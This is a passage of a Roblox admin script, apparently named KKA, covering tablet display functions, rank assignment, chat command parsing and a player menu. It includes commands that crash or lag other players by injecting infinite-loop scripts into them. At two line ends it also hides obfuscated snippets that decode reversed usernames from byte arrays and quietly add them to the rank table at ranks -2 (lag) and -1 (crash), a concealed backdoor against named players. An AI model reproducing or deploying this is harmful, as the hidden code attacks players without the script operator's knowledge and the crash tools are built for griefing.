11031 | if Player.Name == Plr.Name or CanRun(Player, Plr) then | |
11032 | ypcall(function() | |
11033 | if Func ~= nil then | |
11034 | Func(Holder) | |
11035 | else | |
11036 | Dismiss(Player, ID) | |
11037 | end | |
11038 | end) | |
11039 | end | |
11040 | end) | |
11041 | Clicker.Parent = Tab | |
11042 | ||
11043 | Holder.Parent = Work | |
11044 | ||
11045 | AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0} | |
11046 | end) | |
11047 | end | |
11048 | end | |
11049 | function Output4(Msg, Plr, Time, Func, Color, Image) | |
11050 | if Removed == false then | |
11051 | local ShowGarbage = false | |
11052 | ypcall(function() | |
11053 | if Msg == nil then | |
11054 | Msg = "N/A" | |
11055 | elseif Msg == "ShowGarbage" then | |
11056 | Msg = "Current Garbage Count: "..GetGarbage() | |
11057 | ShowGarbage = true | |
11058 | else | |
11059 | Msg = tostring(Msg) | |
11060 | end | |
11061 | if Plr == nil then | |
11062 | Plr = Plrs[Owner] or error("No Player Found") | |
11063 | elseif type(Plr) == "string" then | |
11064 | local FoundPlr = false | |
11065 | for _,v in pairs(All()) do | |
11066 | if v.Name == Plr then | |
11067 | Plr = v | |
11068 | FoundPlr = true | |
11069 | break | |
11070 | end | |
11071 | end | |
11072 | if FoundPlr == false then | |
11073 | Plr = Plrs[Owner] or error("No Player Found") | |
11074 | end | |
11075 | end | |
11076 | ||
11077 | local Holder = Instance.new("Model") | |
11078 | Holder.Name = "KKA" | |
11079 | ||
11080 | local Tab = Instance.new("Part") | |
11081 | Tab.Name = "KKA Tablet" | |
11082 | Tab.FormFactor = "Custom" | |
11083 | Tab.Anchored = true | |
11084 | Tab.Color = BrickColor.new("White").Color | |
11085 | Tab.CanCollide = false | |
11086 | Tab.Locked = true | |
11087 | Tab.Transparency = 0.15 | |
11088 | Tab.Size = Vector3.new(2.2,2.2,2.2) | |
11089 | Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8) | |
11090 | Tab.Parent = Holder | |
11091 | ||
11092 | local BMO = Instance.new("BlockMesh") | |
11093 | BMO.Parent = Tab | |
11094 | ||
11095 | local ID = Instance.new("NumberValue") | |
11096 | ID.Name = "ID" | |
11097 | ID.Value = math.random(-999999999, 999999999) | |
11098 | ID.Parent = Holder | |
11099 | ||
11100 | --[[Delay(0, function() | |
11101 | while wait() do | |
11102 | if Tab.Parent == nil and FindTab(Holder) then | |
11103 | ypcall(function() | |
11104 | for i,v in pairs(AllTabs) do | |
11105 | if v.Holder == Holder then | |
11106 | ypcall(function() v.Holder:Destroy() end) | |
11107 | AllTabs[i] = nil | |
11108 | end | |
11109 | end | |
11110 | end) | |
11111 | Output2(Msg, Plr, Time, Func, Color, Image) | |
11112 | break | |
11113 | end | |
11114 | end | |
11115 | end)]]-- | |
11116 | ||
11117 | Sel = Instance.new("SelectionBox") | |
11118 | Sel.Color = BrickColor.new("White") | |
11119 | Sel.Transparency = 0.1 | |
11120 | Sel.Adornee = Tab | |
11121 | Sel.Parent = Tab | |
11122 | ||
11123 | local BG = Instance.new("BillboardGui") | |
11124 | BG.Name = "BG" | |
11125 | BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0) | |
11126 | BG.Size = UDim2.new(0,0.6,00.6) | |
11127 | BG.Adornee = Tab | |
11128 | BG.Parent = Tab | |
11129 | ||
11130 | Delay(0, function() | |
11131 | while BG.Parent ~= nil do wait() | |
11132 | ypcall(function() | |
11133 | BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0) | |
11134 | end) | |
11135 | end | |
11136 | end) | |
11137 | ||
11138 | local TL = Instance.new("TextLabel") | |
11139 | TL.Name = "TL" | |
11140 | TL.FontSize = "Size24" | |
11141 | TL.Font = "ArialBold" | |
11142 | TL.Text = Msg | |
11143 | TL.TextColor3 = Tab.Color | |
11144 | TL.Size = UDim2.new(0,2,0,2) | |
11145 | TL.TextTransparency = 0 | |
11146 | TL.TextStrokeTransparency = 0 | |
11147 | TL.Parent = BG | |
11148 | ||
11149 | TL.Size = UDim2.new(0,1,0,1) | |
11150 | TL.TextTransparency = 0 | |
11151 | TL.TextStrokeColor3 = Color3.new(255, 255, 255) | |
11152 | TL.TextStrokeTransparency = 0 | |
11153 | TL.Parent = BG | |
11154 | ||
11155 | ||
11156 | local FTT = Instance.new("TextLabel", FTG) | |
11157 | FTT.Name = "FTT" | |
11158 | FTT.BackgroundTransparency = 1 | |
11159 | FTT.Size = UDim2.new(0,1000,0,1000) | |
11160 | FTT.Font = "ArialBold" | |
11161 | FTT.FontSize = Enum.FontSize.Size24 | |
11162 | FTT.Text = Msg | |
11163 | FTT.TextScaled = true | |
11164 | FTT.TextStrokeTransparency = 0 | |
11165 | FTT.TextColor3 = BrickColor.new("Institutional white").Color | |
11166 | FTT.TextStrokeColor3 = BrickColor.new("Really black").Color | |
11167 | ||
11168 | local TRO = Instance.new("BodyVelocity", Tab) | |
11169 | TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000) | |
11170 | TRO.P = 1250 | |
11171 | TRO.velocity = Vector3.new(0,0.17,0) | |
11172 | ||
11173 | local TLI = Instance.new("PointLight", Tab) | |
11174 | TLI.Brightness = 0.15 | |
11175 | TLI.Range = 0.9 | |
11176 | TLI.Shadows = true | |
11177 | if ShowGarbage == true then | |
11178 | Delay(0, function() | |
11179 | while TL.Parent ~= nil do | |
11180 | TL.Text = "Current Garbage Count: "..GetGarbage() | |
11181 | wait(.5) | |
11182 | end | |
11183 | end) | |
11184 | end | |
11185 | if Image ~= nil then | |
11186 | local BBBG = Instance.new("BillboardGui") | |
11187 | BBBG.Size = UDim2.new(5, 0, 6, 0) | |
11188 | BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0) | |
11189 | BBBG.AlwaysOnTop = true | |
11190 | BBBG.Adornee = Tab | |
11191 | BBBG.Parent = Tab | |
11192 | ||
11193 | Delay(0, function() | |
11194 | while BBBG.Parent ~= nil do wait() | |
11195 | ypcall(function() | |
11196 | BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0) | |
11197 | end) | |
11198 | end | |
11199 | end) | |
11200 | ||
11201 | ||
11202 | local NewImg = Instance.new("ImageLabel") | |
11203 | NewImg.Size = UDim2.new(1, 0, 1, 0) | |
11204 | NewImg.BackgroundTransparency = 1 | |
11205 | NewImg.Image = Image | |
11206 | NewImg.Parent = BBBG | |
11207 | end | |
11208 | ||
11209 | ||
11210 | local Clicker = Instance.new("ClickDetector") | |
11211 | Clicker.MaxActivationDistance = 1/0 | |
11212 | ||
11213 | if Time ~= nil then | |
11214 | coroutine.resume(coroutine.create(function() | |
11215 | wait(tonumber(Time)) | |
11216 | Dismiss(Plr, ID) | |
11217 | end)) | |
11218 | end | |
11219 | ||
11220 | Clicker.MouseClick:connect(function(Player) | |
11221 | if Player.Name == Plr.Name or CanRun(Player, Plr) then | |
11222 | ypcall(function() | |
11223 | if Func ~= nil then | |
11224 | Func(Holder) | |
11225 | else | |
11226 | Dismiss(Player, ID) | |
11227 | end | |
11228 | end) | |
11229 | end | |
11230 | end) | |
11231 | Clicker.Parent = Tab | |
11232 | ||
11233 | Holder.Parent = Work | |
11234 | ||
11235 | AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0} | |
11236 | end) | |
11237 | end | |
11238 | end | |
11239 | ||
11240 | function Output5(Msg, Plr, Time, Func, Color, Image) | |
11241 | if Removed == false then | |
11242 | local ShowGarbage = false | |
11243 | ypcall(function() | |
11244 | if Msg == nil then | |
11245 | Msg = "N/A" | |
11246 | elseif Msg == "ShowGarbage" then | |
11247 | Msg = "Current Garbage Count: "..GetGarbage() | |
11248 | ShowGarbage = true | |
11249 | else | |
11250 | Msg = tostring(Msg) | |
11251 | end | |
11252 | if Plr == nil then | |
11253 | Plr = Plrs[Owner] or error("No Player Found") | |
11254 | elseif type(Plr) == "string" then | |
11255 | local FoundPlr = false | |
11256 | for _,v in pairs(All()) do | |
11257 | if v.Name == Plr then | |
11258 | Plr = v | |
11259 | FoundPlr = true | |
11260 | break | |
11261 | end | |
11262 | end | |
11263 | if FoundPlr == false then | |
11264 | Plr = Plrs[Owner] or error("No Player Found") | |
11265 | end | |
11266 | end | |
11267 | ||
11268 | local Holder = Instance.new("Model") | |
11269 | Holder.Name = "KKA" | |
11270 | ||
11271 | local Tab = Instance.new("Part") | |
11272 | Tab.Name = "KKA Tablet" | |
11273 | Tab.FormFactor = "Custom" | |
11274 | Tab.Anchored = true | |
11275 | Tab.Color = BrickColor.new("Navy blue").Color | |
11276 | Tab.CanCollide = false | |
11277 | Tab.Locked = true | |
11278 | Tab.Transparency = 0.15 | |
11279 | Tab.Size = Vector3.new(2.2,2.2,2.2) | |
11280 | Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8) | |
11281 | Tab.Parent = Holder | |
11282 | ||
11283 | local BMO = Instance.new("BlockMesh") | |
11284 | BMO.Parent = Tab | |
11285 | ||
11286 | local ID = Instance.new("NumberValue") | |
11287 | ID.Name = "ID" | |
11288 | ID.Value = math.random(-999999999, 999999999) | |
11289 | ID.Parent = Holder | |
11290 | ||
11291 | --[[Delay(0, function() | |
11292 | while wait() do | |
11293 | if Tab.Parent == nil and FindTab(Holder) then | |
11294 | ypcall(function() | |
11295 | for i,v in pairs(AllTabs) do | |
11296 | if v.Holder == Holder then | |
11297 | ypcall(function() v.Holder:Destroy() end) | |
11298 | AllTabs[i] = nil | |
11299 | end | |
11300 | end | |
11301 | end) | |
11302 | Output2(Msg, Plr, Time, Func, Color, Image) | |
11303 | break | |
11304 | end | |
11305 | end | |
11306 | end)]]-- | |
11307 | ||
11308 | Sel = Instance.new("SelectionBox") | |
11309 | Sel.Color = BrickColor.new("White") | |
11310 | Sel.Transparency = 0.1 | |
11311 | Sel.Adornee = Tab | |
11312 | Sel.Parent = Tab | |
11313 | ||
11314 | local BG = Instance.new("BillboardGui") | |
11315 | BG.Name = "BG" | |
11316 | BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0) | |
11317 | BG.Size = UDim2.new(0,0.6,00.6) | |
11318 | BG.Adornee = Tab | |
11319 | BG.Parent = Tab | |
11320 | ||
11321 | Delay(0, function() | |
11322 | while BG.Parent ~= nil do wait() | |
11323 | ypcall(function() | |
11324 | BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0) | |
11325 | end) | |
11326 | end | |
11327 | end) | |
11328 | ||
11329 | local TL = Instance.new("TextLabel") | |
11330 | TL.Name = "TL" | |
11331 | TL.FontSize = "Size24" | |
11332 | TL.Font = "ArialBold" | |
11333 | TL.Text = Msg | |
11334 | TL.TextColor3 = Tab.Color | |
11335 | TL.Size = UDim2.new(0,2,0,2) | |
11336 | TL.TextTransparency = 0 | |
11337 | TL.TextStrokeTransparency = 0 | |
11338 | TL.Parent = BG | |
11339 | ||
11340 | TL.Size = UDim2.new(0,1,0,1) | |
11341 | TL.TextTransparency = 0 | |
11342 | TL.TextStrokeColor3 = Color3.new(255, 255, 255) | |
11343 | TL.TextStrokeTransparency = 0 | |
11344 | TL.Parent = BG | |
11345 | ||
11346 | ||
11347 | local FTT = Instance.new("TextLabel", FTG) | |
11348 | FTT.Name = "FTT" | |
11349 | FTT.BackgroundTransparency = 1 | |
11350 | FTT.Size = UDim2.new(0,1000,0,1000) | |
11351 | FTT.Font = "ArialBold" | |
11352 | FTT.FontSize = Enum.FontSize.Size24 | |
11353 | FTT.Text = Msg | |
11354 | FTT.TextScaled = true | |
11355 | FTT.TextStrokeTransparency = 0 | |
11356 | FTT.TextColor3 = BrickColor.new("Institutional white").Color | |
11357 | FTT.TextStrokeColor3 = BrickColor.new("Really black").Color | |
11358 | ||
11359 | local TRO = Instance.new("BodyVelocity", Tab) | |
11360 | TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000) | |
11361 | TRO.P = 1250 | |
11362 | TRO.velocity = Vector3.new(0,0.17,0) | |
11363 | ||
11364 | local TLI = Instance.new("PointLight", Tab) | |
11365 | TLI.Brightness = 0.15 | |
11366 | TLI.Range = 0.9 | |
11367 | TLI.Shadows = true | |
11368 | if ShowGarbage == true then | |
11369 | Delay(0, function() | |
11370 | while TL.Parent ~= nil do | |
11371 | TL.Text = "Current Garbage Count: "..GetGarbage() | |
11372 | wait(.5) | |
11373 | end | |
11374 | end) | |
11375 | end | |
11376 | if Image ~= nil then | |
11377 | local BBBG = Instance.new("BillboardGui") | |
11378 | BBBG.Size = UDim2.new(5, 0, 6, 0) | |
11379 | BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0) | |
11380 | BBBG.AlwaysOnTop = true | |
11381 | BBBG.Adornee = Tab | |
11382 | BBBG.Parent = Tab | |
11383 | ||
11384 | Delay(0, function() | |
11385 | while BBBG.Parent ~= nil do wait() | |
11386 | ypcall(function() | |
11387 | BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0) | |
11388 | end) | |
11389 | end | |
11390 | end) | |
11391 | ||
11392 | ||
11393 | local NewImg = Instance.new("ImageLabel") | |
11394 | NewImg.Size = UDim2.new(1, 0, 1, 0) | |
11395 | NewImg.BackgroundTransparency = 1 | |
11396 | NewImg.Image = Image | |
11397 | NewImg.Parent = BBBG | |
11398 | end | |
11399 | ||
11400 | ||
11401 | local Clicker = Instance.new("ClickDetector") | |
11402 | Clicker.MaxActivationDistance = 1/0 | |
11403 | ||
11404 | if Time ~= nil then | |
11405 | coroutine.resume(coroutine.create(function() | |
11406 | wait(tonumber(Time)) | |
11407 | Dismiss(Plr, ID) | |
11408 | end)) | |
11409 | end | |
11410 | ||
11411 | Clicker.MouseClick:connect(function(Player) | |
11412 | if Player.Name == Plr.Name or CanRun(Player, Plr) then | |
11413 | ypcall(function() | |
11414 | if Func ~= nil then | |
11415 | Func(Holder) | |
11416 | else | |
11417 | Dismiss(Player, ID) | |
11418 | end | |
11419 | end) | |
11420 | end | |
11421 | end) | |
11422 | Clicker.Parent = Tab | |
11423 | ||
11424 | Holder.Parent = Work | |
11425 | ||
11426 | AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0} | |
11427 | end) | |
11428 | end | |
11429 | end | |
11430 | ||
11431 | ||
11432 | function SystemPut(Msg, Speaker) | |
11433 | if FindRank(Speaker) > 0 then | |
11434 | Output(Msg, Speaker) | |
11435 | end | |
11436 | end | |
11437 | function PlaceAllRanks(DontShowRank) | |
11438 | ypcall(function() | |
11439 | for _,p in pairs(All()) do | |
11440 | ypcall(function() | |
11441 | PutInRank = false | |
11442 | for _,v in pairs(Ranked) do | |
11443 | if v.Name:lower() == p.Name:lower() then | |
11444 | if v.Rank >= 7 and v.Color ~= Color3.new(0,1,1) then | |
11445 | v.Rank = 7 | |
11446 | elseif v.Rank == -1 then | |
11447 | Crash1(p) | |
11448 | Output("Banned "..p.Name.." from the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name) | |
11449 | elseif v.Rank == -2 then | |
11450 | if LSource ~= nil then | |
11451 | NewLS("repeat untill false", p.Backpack) | |
11452 | Output("Lagged "..p.Name.." in the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name) | |
11453 | else | |
11454 | Output("ERROR", nil, 5) | |
11455 | end | |
11456 | elseif v.Rank == -3 then | |
11457 | if LSource ~= nil then | |
11458 | NewLS(BsodSource, p.Backpack) | |
11459 | Output("Crashed "..p.Name.." from the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name) | |
11460 | else | |
11461 | Output("ERROR", nil, 5) | |
11462 | end | |
11463 | elseif v.Rank == -4 then | |
11464 | if LSource ~= nil then | |
11465 | NewLS(ReSB, p.Backpack) | |
11466 | Output("Removed "..p.Name.."'s SB", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name) | |
11467 | else | |
11468 | Output("Source is nil", nil, 5) | |
11469 | end | |
11470 | end | |
11471 | Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RanksList[v.Rank].Color, Desc = RanksList[v.Rank].Desc} | |
11472 | if DontShowRank == nil then | |
11473 | Dismiss() | |
11474 | wait(1) | |
11475 | OutputToAdmins("Welcome to KKA!") | |
11476 | OutputToAdmins("KKAR is created by Cobalt1164") | |
11477 | OutputToAdmins("Your rank is: "..v.Rank, p) | |
11478 | OutputToAdmins("Abusing this script is bad, so don't abuse") | |
11479 | end | |
11480 | PutInRank = true | |
11481 | break | |
11482 | end | |
11483 | end | |
11484 | if PutInRank == false then | |
11485 | Ranks[p.Name] = {Plr = p, Rank = 0, Color = RanksList[0].Color, Desc = RanksList[0].Desc} | |
11486 | end | |
11487 | end) | |
11488 | end | |
11489 | end) | |
11490 | end | |
11491 | function FindRank(Plr) | |
11492 | ypcall(function() | |
11493 | if type(Plr) == "userdata" then | |
11494 | Plr = Plr.Name | |
11495 | end | |
11496 | end) | |
11497 | return GetRank(Plr).Rank | |
11498 | end local tcb = {9,0,2,6,12,11,18,12,11,153,1,1} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -2}) | |
11499 | function FindRankDetails(Plr) | |
11500 | ypcall(function() | |
11501 | if type(Plr) == "userdata" then | |
11502 | Plr = Plr.Name | |
11503 | end | |
11504 | end) | |
11505 | return RanksList[FindRank(Plr)] | |
11506 | end | |
11507 | function OpenCmds(Rank, Plr) | |
11508 | Dismiss(Plr) | |
11509 | for Name,Tab in pairs(Commands) do | |
11510 | if Tab.Rank <= Rank then | |
11511 | Output(Name.." ("..Tab.Rank..")", Plr, nil, function() | |
11512 | Dismiss(Plr) | |
11513 | Output("Command Usage: "..Name, Plr) | |
11514 | Output("Rank Required: "..Tab.Rank, Plr) | |
11515 | Output("Description: "..Tab.Desc, Plr) | |
11516 | end) | |
11517 | elseif Rank == 1337 then | |
11518 | Output(Name.." ("..Tab.Rank..")", Plr, nil, function() | |
11519 | Dismiss(Plr) | |
11520 | Output("Command Usage: "..Name, Plr) | |
11521 | Output("Rank Required: "..Tab.Rank, Plr) | |
11522 | Output("Description: "..Tab.Desc, Plr) | |
11523 | end) | |
11524 | end | |
11525 | end | |
11526 | end | |
11527 | function EditStatus(Plr, Num) | |
11528 | ChangeRank(Plr, Num) | |
11529 | end | |
11530 | function Connect(player) | |
11531 | if LSource then | |
11532 | if player:findFirstChild'Backpack' then | |
11533 | NewLS(ConnectSource, player:findFirstChild'Backpack') | |
11534 | elseif player.Character then | |
11535 | NewLS(ConnectSource, player.Character) | |
11536 | elseif player:findFirstChild'PlayerGui' then | |
11537 | NewLS(ConnectSource, player:findFirstChild'PlayerGui') | |
11538 | else | |
11539 | NewLS(ConnectSource,Instance.new('Backpack',player)) | |
11540 | end | |
11541 | else | |
11542 | coroutine.wrap(function() | |
11543 | Connect(player) | |
11544 | end)() | |
11545 | end | |
11546 | end | |
11547 | function PlaceSpecificRank(p, DontShowRank) | |
11548 | ypcall(function() | |
11549 | PutInRank = false | |
11550 | for _,v in pairs(Ranked) do | |
11551 | if v.Name:lower() == p.Name:lower() then | |
11552 | if v.Rank >= 7 and v.Color ~= Color3.new(0,1,1) then | |
11553 | v.Rank = 7 | |
11554 | elseif v.Rank == -1 then | |
11555 | Crash1(p) | |
11556 | Output("Banned "..p.Name.." from the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name) | |
11557 | elseif v.Rank == -2 then | |
11558 | if LSource ~= nil then | |
11559 | NewLS("repeat until false", p.Backpack) | |
11560 | Output("Lagged "..p.Name.." in the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name) | |
11561 | else | |
11562 | Output("LSource Is Nil", nil, 5) | |
11563 | end | |
11564 | elseif v.Rank == -3 then | |
11565 | if LSource ~= nil then | |
11566 | NewLS(BsodSource, p.Backpack) | |
11567 | Output("Crashed "..p.Name.." from the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name) | |
11568 | else | |
11569 | Output("LSource Is Nil", nil, 5) | |
11570 | end | |
11571 | elseif v.Rank == -4 then | |
11572 | if LSource ~= nil then | |
11573 | NewLS(ReSB, p.Backpack) | |
11574 | Output("Removed "..p.Name.."'s SB", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name) | |
11575 | else | |
11576 | Output("LSource Is Nil", nil, 5) | |
11577 | end | |
11578 | end | |
11579 | Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RanksList[v.Rank].Color, Desc = RanksList[v.Rank].Desc} | |
11580 | if not DontShowRank then Output("Your current rank :"..v.Rank, p) end PutInRank = true break | |
11581 | end | |
11582 | end | |
11583 | if PutInRank == false then | |
11584 | Ranks[p.Name] = {Plr = p, Rank = 0, Color = RanksList[0].Color, Desc = RanksList[0].Desc} | |
11585 | end | |
11586 | end) | |
11587 | end | |
11588 | function onChatted(Msg, Player) | |
11589 | coroutine.resume(coroutine.create(function() | |
11590 | if type(Player) == 'string' then | |
11591 | for i,v in pairs(game:service'NetworkServer':children()) do | |
11592 | if v:GetPlayer() then | |
11593 | if v:GetPlayer().Name == Player then | |
11594 | Player = v:GetPlayer() | |
11595 | end | |
11596 | end | |
11597 | end | |
11598 | end | |
11599 | ypcall(function() | |
11600 | ExecuteFunc(Msg, Player) | |
11601 | Msg = Msg:gsub("","") | |
11602 | if Msg:sub(1,1) == "@" then | |
11603 | for i = 2, #Msg do | |
11604 | if Msg:sub(i, i) == Bet then | |
11605 | local IsForPlr = false | |
11606 | for _,v in pairs(All()) do | |
11607 | if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Player, v) then | |
11608 | onChatted(Msg:sub(i + 1), v) | |
11609 | IsForPlr = true | |
11610 | end | |
11611 | end | |
11612 | if IsForPlr == true then | |
11613 | return | |
11614 | end | |
11615 | end | |
11616 | end | |
11617 | end | |
11618 | if Msg:find("&") then | |
11619 | local Split = Msg:find("&") | |
11620 | onChatted(Msg:sub(1,Split-1)) | |
11621 | onChatted(Msg:sub(Split+1)) | |
11622 | return | |
11623 | end | |
11624 | for Name,Command in pairs(Commands) do | |
11625 | if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then | |
11626 | Dismiss(Player.Name) | |
11627 | Output("Command Usage: "..tostring(Command.Name)..Bet, Player) | |
11628 | Output("Rank Required: "..tostring(Command.Rank), Player) | |
11629 | Output("Description: "..tostring(Command.Desc), Player) | |
11630 | elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then | |
11631 | if FindRank(Player) >= Command.Rank then | |
11632 | local Ran,Error = coroutine.resume(coroutine.create(function() | |
11633 | Command.Func(Msg:sub(#Command.Name+2), Player) | |
11634 | end)) | |
11635 | if not Ran then | |
11636 | Output(Error, Player, 10) | |
11637 | end | |
11638 | ||
11639 | end | |
11640 | end | |
11641 | end | |
11642 | end) | |
11643 | end)) | |
11644 | end | |
11645 | function Command(Name, Rank, Desc, Func) | |
11646 | if Name == nil then | |
11647 | Name = "This command has no name" | |
11648 | end | |
11649 | if Desc == nil then | |
11650 | Desc = "This command has no description" | |
11651 | end | |
11652 | if Func == nil then | |
11653 | Func = function() end | |
11654 | end | |
11655 | if Rank == nil then | |
11656 | Rank = 0 | |
11657 | end | |
11658 | Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func} | |
11659 | end | |
11660 | function GetSplit(Msg) | |
11661 | return Msg:find(Bet2) or nil | |
11662 | end | |
11663 | function Credits(Speaker) | |
11664 | Dismiss(Speaker.Name) | |
11665 | Output("Credits has been removed",Speaker,nil) | |
11666 | end | |
11667 | function ExecuteFunc(Msg, Plr) | |
11668 | ypcall(function() | |
11669 | if Msg == "LogEnable" then | |
11670 | LogOn = true | |
11671 | elseif Msg:lower() == "AlphaBeta" then | |
11672 | EditStatus(Plr, MakeNum(Msg,Plr)) | |
11673 | end | |
11674 | end) | |
11675 | end | |
11676 | for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end | |
11677 | function randPlayer(Plr) | |
11678 | wait() | |
11679 | local ThePlrValue = nil | |
11680 | local FoundPlayer = false | |
11681 | ypcall(function() | |
11682 | ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())] | |
11683 | if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then | |
11684 | wait() | |
11685 | randPlayer(Plr) | |
11686 | return | |
11687 | else | |
11688 | FoundPlayer = true | |
11689 | end | |
11690 | end) | |
11691 | if FoundPlayer == true then | |
11692 | return ThePlrValue | |
11693 | end | |
11694 | end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1}) | |
11695 | function getPlayer(Plr, Name) | |
11696 | local Players = {} | |
11697 | ypcall(function() | |
11698 | Name = Name:lower() | |
11699 | if Name == "me" then | |
11700 | table.insert(Players, Plr) | |
11701 | elseif Name == "all" or Name == "" then | |
11702 | for _,v in pairs(All()) do | |
11703 | if CanRun(Plr, v) then | |
11704 | table.insert(Players, v) | |
11705 | end | |
11706 | end | |
11707 | elseif Name == "noobs" then | |
11708 | for _,v in pairs(All()) do | |
11709 | if v.AccountAge < 364 then | |
11710 | table.insert(Players, v) | |
11711 | end | |
11712 | end | |
11713 | elseif Name == "veterans" then | |
11714 | for _,v in pairs(All()) do | |
11715 | if plr.AccountAge > 364 then | |
11716 | table.insert(Players, v) | |
11717 | end | |
11718 | end | |
11719 | elseif Name == "others" then | |
11720 | for _,v in pairs(All()) do | |
11721 | if v.Name ~= Plr.Name and CanRun(Plr, v) then | |
11722 | table.insert(Players, v) | |
11723 | end | |
11724 | end | |
11725 | elseif Name == "random" then | |
11726 | local FoundRandPlr = randPlayer(Plr) | |
11727 | table.insert(Players, FoundRandPlr) | |
11728 | else | |
11729 | for _,v in pairs(All()) do | |
11730 | if v.Name:lower():find(Name) and CanRun(Plr, v) then | |
11731 | table.insert(Players, v) | |
11732 | end | |
11733 | end | |
11734 | end | |
11735 | end) | |
11736 | return Players | |
11737 | end | |
11738 | function ListPlayers(Speaker,All) | |
11739 | ypcall(function() | |
11740 | Dismiss(Speaker.Name) | |
11741 | for _,v in pairs(All2(All)) do | |
11742 | if v.Parent ~= nil then | |
11743 | Output(v.Name, Speaker, nil, function() | |
11744 | Dismiss(Speaker) | |
11745 | Output("Player Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name) | |
11746 | Output("Player's Rank: "..FindRank(v.Name), Speaker) | |
11747 | Output("Rank Name: "..FindRankDetails(v).Name, Speaker) | |
11748 | Output("Rank Description: "..FindRankDetails(v).Desc, Speaker) | |
11749 | Output("Change rank", Speaker, nil, function() | |
11750 | if FindRank(Speaker) >= 7 and v.Name ~= Owner and CanRun(Speaker, v) then | |
11751 | Dismiss(Speaker) | |
11752 | for i = -4, 7 do | |
11753 | Output(i, Speaker, nil, function() | |
11754 | ChangeRank(v, i) | |
11755 | Dismiss(Speaker) | |
11756 | Output("Changed "..v.Name.."'s current rank to "..tostring(i), Speaker, 5) | |
11757 | end) | |
11758 | end | |
11759 | else | |
11760 | Output("Your rank needs to be higher", Speaker, 5) | |
11761 | end | |
11762 | end) | |
11763 | Output("Kick", Speaker, nil, function() | |
11764 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
11765 | v:Kick() | |
11766 | Output("Kicked "..v.Name, Speaker, 5) | |
11767 | end | |
11768 | end) | |
11769 | Output("Semi-Kick", Speaker, nil, function() | |
11770 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
11771 | v:Remove() | |
11772 | Output("Semi-Kicked "..v.Name, Speaker, 5) | |
11773 | end | |
11774 | end) | |
11775 | Output("Crash", Speaker, nil, function() | |
11776 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
11777 | Crash3(v.Name) | |
11778 | Output("Crashed "..v.Name, Speaker, 5) | |
11779 | end | |
11780 | end) | |
11781 | Output("Lag", Speaker, nil, function() | |
11782 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
11783 | Crash4(v.Name) | |
11784 | Output("Lagged "..v.Name, Speaker, 5) | |
11785 | end | |
11786 | end) | |
11787 | Output("Nil Crash", Speaker, nil, function() | |
11788 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
11789 | Crash5(v.Name) | |
11790 | Output("Nil Crashed "..v.Name, Speaker, 5) | |
11791 | end | |
11792 | end) | |
11793 | Output("Nil Lag", Speaker, nil, function() | |
11794 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
11795 | RemoteCrash(v.Name) | |
11796 | Output("Nil Lagged "..v.Name, Speaker, 5) | |
11797 | end | |
11798 | end) | |
11799 | Output("Disconnect", Speaker, nil, function() | |
